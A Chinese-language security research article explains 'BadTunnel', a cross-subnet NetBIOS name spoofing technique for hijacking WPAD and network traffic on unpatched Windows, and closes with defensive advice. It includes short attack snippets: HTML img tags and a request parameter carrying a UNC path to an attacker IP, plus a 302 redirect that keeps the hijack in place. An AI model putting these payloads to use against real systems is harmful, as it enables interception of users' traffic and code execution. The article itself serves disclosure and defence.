Author：[email protected]

0x00 簡介

---

本文提出了一種新的攻擊模型，可以跨網段劫持TCP/IP廣播協議，我們把它命名為“BadTunnel”。

利用這種方法，可以實現跨網段的NetBIOS Name Service Spoofing攻擊。無論攻擊者和使用者是否在同一網段，甚至中間存在防火牆或NAT，只要使用者開啟IE或Edge瀏覽器訪問一個惡意頁面，或開啟一個特殊構造的Office文件，攻擊者就可以劫持使用者系統對任意NetBIOS名稱的解析，從而實現仿冒本地網路的列印伺服器、檔案伺服器等。

透過劫持“WPAD”名稱，還可以進一步實現劫持使用者的所有網路通訊，包括一般網路訪問，和Windows Update service以及Microsoft Crypto API更新Certificate revocation list的通訊等。而一旦能劫持網路通訊，配合類似Evilgrade的工具（參考連結【1】），也很容易在系統上執行任意程式。

這種方法對沒有安裝2016年6月補丁的所有版本Windows都有效。可以透過所有版本的IE和Edge、所有版本的MS Office、以及大量第三方軟體觸發。事實上只要存在能嵌入file URI scheme或UNC path的地方，就可以觸發BadTunnel 攻擊。如果在一個快捷方式中將圖示路徑設定為惡意file URI scheme或UNC path，只要使用者在資源管理器看見這個快捷方式，就會觸發BadTunnel攻擊。所以BadTunnel可以透過網頁、郵件、隨身碟等多種手段進行利用。甚至還可能威脅WEB伺服器和SQL伺服器等（參考連結【2】）。

（本文並未包含BadTunnel相關研究的所有內容，其餘部分將在BlackHat US 2016的演講“BadTunnel: How do I get Big Brother power?”中釋出。）

0x01 背景知識

---

NetBIOS是一套古老的協議。1987年IETF釋出RFC 1001與RFC 1002，定義了NetBIOS over TCP/IP，簡稱NBT。NetBIOS包含三種服務，其中之一是名稱服務（Name service），即NetBIOS-NS，簡稱NBNS。NBNS可以透過傳送區域網內廣播來實現本地名稱解析。

當你試圖訪問\\Tencent\XuanwuLab\tk.txt時，NBNS會向廣播地址發出NBNS NB query：

誰是“Tencent”？

而本地區域網內的任何主機都可以回應：

192.168.2.9是“Tencent”。

然後你的電腦就會接受這個回應，然後去訪問\\192.168.2.9\XuanwuLab\tk.txt。

這套機制談不上安全，但由於發生在區域網內，而區域網通常被認為是相對可信的環境。所以雖然很早就有人意識到可以在區域網內假冒任意主機，但這並不被認為是漏洞——就像ARP Spoofing並不被認為是漏洞一樣。

WPAD（Web Proxy Auto-Discovery Protocol）是另一套有超過二十年曆史的古老協議，用於自動發現和配置系統的代理伺服器。幾乎所有作業系統都支援WPAD，但只有Windows系統預設啟用這個協議。按照WPAD協議，系統會試圖訪問http://WPAD/wpad.dat，以獲取代理配置指令碼。

在Windows上，對“WPAD”這個名稱的請求很自然會由NBNS來處理。而如前所述，在區域網內，任何主機都可以聲稱自己是“WPAD”。所以，這套機制也談不上安全，但由於同樣發生在區域網內，而區域網通常被認為是相對可信的環境，所以雖然十幾年前就有人意識到可以在區域網內利用WPAD劫持假冒任意主機，2012年被發現的Flame蠕蟲也使用了這種攻擊方式，但這並不被認為是漏洞——就像ARP Spoofing並不被認為是漏洞一樣。

接下來還得再提一下TCP/IP協議。NBNS是用UDP實現的。UDP協議最主要的特點是無會話。無論是防火牆、NAT還是任何其它網路裝置，都無法分辨一個UDP包屬於哪個會話。只要網路裝置允許IP1:Port1->IP2:Port2，就必然同時允許IP2:Port2->IP1:Port1。

剛才我們說過NBNS使用廣播協議，透過向本地廣播地址傳送查詢來實現名稱解析。但NBNS和絕大多數使用廣播協議的應用一樣，並不會拒絕來自本網段之外的回應。也就是說，如果192.168.2.2向192.168.2.255傳送了一個請求，而10.10.10.10及時返回了一個回應，也會被192.168.2.2接受。在某些企業網路裡，這個特性是網路結構所需要的。

0x02 實現方法

---

所以，假如我們能在NBNS發出名稱解析請求的時候，從本網段之外返回一個回應，也同樣會被NBNS接受，就可以實現跨網段NBNS Spoofing。但存在幾個問題：

1、大多數主機都開啟了防火牆，從本地網路之外主動向系統傳送資料似乎是不可能的。即使不考慮防火牆，從網際網路上主動向一個區域網IP傳送資料似乎更是不可能的。也就是說只能對有公網IP又沒有防火牆的系統進行NBNS Spoofing？

2、NBNS協議內部封裝的幾乎就是DNS報文，所以也有Transaction ID。只有Transaction ID匹配的回應包才會被接受。這個問題如何解決？

3、本地網路之外的主機接收不到NBNS NB query廣播，又怎麼知道該在什麼時候發出NBNS Spoofing資料包？

幸運的是，這些問題都可以解決。

首先，Windows系統的NBNS使用且只使用137/UDP埠。“使用且只使用”的意思是：系統發起的NBNS通訊，源埠和目標埠都永遠是137/UDP。也就是說，如果一臺內網的主機192.168.2.2向10.10.10.10發起NBNS查詢請求，大概會是這樣：

192.168.2.2:137 -> NAT:54231 -> 10.10.10.10:137

而10.10.10.10返回查詢結果時會是這樣：

192.168.2.2:137 <- NAT:54231 <- 10.10.10.10:137

也就是說，無論192.168.2.2的本機防火牆，還是NAT，還是中間的任何其它網路裝置，只要允許查詢請求發出，並允許查詢結果返回，就至少需要在一段時間內，允許10.10.10.10:137發出任何UDP包到192.168.2.2:137。這其實就開啟了一條雙向UDP隧道。BadTunnel，指的就是這個Tunnel：

192.168.2.2:137 <-> NAT:54231<-> 10.10.10.10:137

有個簡單的實驗可以幫助你理解這個隧道。準備兩臺開啟了防火牆的系統，IP地址分別是192.168.2.2和192.168.3.3：

首先在192.168.2.2上執行“nbtstat -A 192.168.3.3”，會失敗。
然後在192.168.3.3上執行“nbtstat -A 192.168.2.2”，會成功。
再次在192.168.2.2上執行“nbtstat -A 192.168.3.3”，會成功。

那麼怎麼讓192.168.2.2向10.10.10.10發出NBNS請求呢？當Windows系統試圖訪問一個帶有IP地址的file URI scheme或UNC path時，如果目標IP地址的139、445埠不可訪問（超時或收到TCP重置報文），系統會再向該IP地址傳送NBNS NBSTAT query查詢。而讓系統訪問file URI scheme或UNC path的途徑太多了。

無論是Edge瀏覽器還是IE，都會試圖解析頁面中的fileURI scheme或UNC path：

#!html
<img src=”\\10.10.10.10\BadTunnel”>

所有型別的MS Office文件都可以嵌入file URI scheme或UNC path。還有很多第三方軟體的檔案格式也都可以。

特別是如果我們將任何快捷方式的圖示設定為一個UNC path，只要這個快捷方式顯示在螢幕上，系統就會試圖訪問UNC path。

而如果目標是一臺Web伺服器，可能只需一個HTTP請求：

#!html
http://web.server/reader.aspx?ID=\\10.10.10.10\BadTunnel

至於TransactionID，NBNS的Transaction ID並不是隨機的，而是遞增的。前面提到，NBNS解析名稱時，會發出NBNS NB query；而系統訪問file URI scheme或UNC path失敗時，會發出NBNS NBSTAT query。NBNS NB query和NBNS NBSTAT query除了都使用且只使用137/UDP外，它們還共享同一個Transaction ID計數器。也就是說，當192.168.2.2訪問\\10.10.10.10\BadTunnel失敗，向10.10.10.10發出的NBNS NBSTAT query不但開啟了一條雙向UDP隧道，還將系統的Transaction ID計數器當前值告訴了10.10.10.10。

也就是說，一個NBNS NBSTAT query同時解決了第一個問題和第二個問題。而第三個問題就更容易解決了。我們既然能在網頁中嵌入<img src=”\\10.10.10.10\BadTunnel”>，當然也可以同時嵌入：

#!html
<img src=”http://WPAD/wpad.dat”>

這樣，我們可以控制對“WPAD”的NBNS NBquery的發出時間。也就可以及時返回偽造的回應。最終系統會將我們偽造的http://WPAD/wpad.dat存入WEB快取。之後當系統真正試圖獲取並解析http://WPAD/wpad.dat來設定代理伺服器時，會使用WEB快取中的這個。而至少對Windows 7來說，偽造的http://WPAD/wpad.dat會像其它被快取的WEB資源一樣，即使關機重啟動，仍然有效。

即使不考慮WEB快取，NBNS也有自己的快取機制。只要成功實現一次NBNS Spoofing，偽造的結果會被NBNS快取10分鐘：

此後10分鐘內系統本身也會試圖去解析“WPAD”進而訪問http://WPAD/wpad.dat來設定代理，但獲得的將會是快取中這個偽造的結果。而攻擊者在一旦透過WPAD劫持到使用者的流量，可以定時對某些HTTP請求返回302重定向，實現迴圈BadTunnel攻擊，保持劫持狀態：

#!shell
HTTP/1.1 302 Found
Content-Type: text/html
Location: file://10.10.10.10/BadTunnel
Content-Length: 0

0x03 總結

---

本文所描述的BadTunnel攻擊，是一個嚴重的安全問題。但當我們試圖尋找問題根源時，卻發現這並不容易。BadTunnel攻擊能得以實現，至少依賴於以下這些特性：

1、 UDP協議無會話；

2、 廣播請求可接受網段外回應。

3、 Windows預設開啟WPAD。

4、 Windows檔案處理API預設支援UNC path。

5、 Windows訪問UNC path時，連線139和445埠失敗後會發起NBNS NBSTAT query。

6、 NBNS無論作為服務端還是客戶端，都使用同一個埠號。

7、 NBNS Transaction ID遞增而不是隨機。

8、 NBNS NBSTAT query和NBNS NB query共享同一個計數器。

9、 系統在實現WPAD時也使用WEB快取機制和NBNS快取機制。

以上所有設計特性，單獨來看，幾乎都沒問題，甚至是必需的。我們當然不能認為UDP協議無會話是個漏洞。即使NBNS Transaction ID非隨機這一點，也很難說是安全問題。因為NBNS NB這套機制原本設計用於內網，NBNS NB query以廣播包形式發出，內網任何機器都能收到。但是，所有這些單獨看起來都沒問題的特性，在協同工作時，就形成了一個巨大的安全問題。那麼，我們應該如何去發現下一個BadTunnel?

0x04 防禦建議

---

即使不能及時安裝MS16-063和MS16-077補丁，也有一些其它方法可以阻止BadTunnel攻擊。

對企業來說，可以在邊界防火牆上關閉內部網路和網際網路之間的137/UDP通訊。

對無需訪問Windows網路共享服務的個人使用者來說，可以考慮禁用NetBIOS over TCP/IP：

對相容性影響最小的方式可能是在%SystemRoot%\System32\drivers\etc\hosts中新增固定的WPAD解析，或關閉自動檢查代理配置，來防止“WPAD”這個名稱被劫持：

不過要注意的是，這樣並不能阻止對其它名稱的劫持。而BadTunnel，不只是WPAD。

0x05 一點遺憾

---

利用BadTunnel劫持WPAD可能是歷史上影響範圍最廣、觸發途徑最多的Windows漏洞，更可能是絕無僅有的寫一個Exploit即可攻擊所有版本Windows的漏洞。而實際上還可能更有趣。

MAC OS系統也實現了NBNS，並在某些場合支援UNC path，理論上也可以手工開啟WPAD，但由於MAC OS的NBNS實現細節和Windows有所不同，並且系統自身預設使用mDNS而不是NBNS去解析名稱，所以這個問題並不影響MAC OS——要不然就太酷了。

0x06 參考連結

---

【1】 Evilgrade
https://github.com/infobyte/evilgrade/

【2】 10Places to Stick Your UNC Path
https://blog.netspi.com/10-places-to-stick-your-unc-path/

【3】 WebProxy Auto-Discovery Protocol
http://tools.ietf.org/html/draft-ietf-wrec-wpad-01

【4】 NetBIOS Over TCP/IP
https://technet.microsoft.com/en-us/library/cc940063.aspx

【5】 Disable WINS/NetBT name resolution
https://technet.microsoft.com/en-us/library/cc782733(v=ws.10).aspx

【6】 MS99-054, CVE-1999-0858
https://technet.microsoft.com/en-us/library/security/ms99-054.aspx

【7】 MS09-008, CVE-2009-0093, CVE-2009-0094
https://technet.microsoft.com/en-us/library/security/ms09-008.aspx

【8】 MS12-074, CVE-2012-4776
https://technet.microsoft.com/en-us/library/security/ms12-074.aspx

【9】 MS16-063,CVE-2016-3213
https://technet.microsoft.com/en-us/library/security/ms16-063.aspx

【10】 MS16-077,CVE-2016-3213, CVE-2016-3236
https://technet.microsoft.com/en-us/library/security/ms16-077.aspx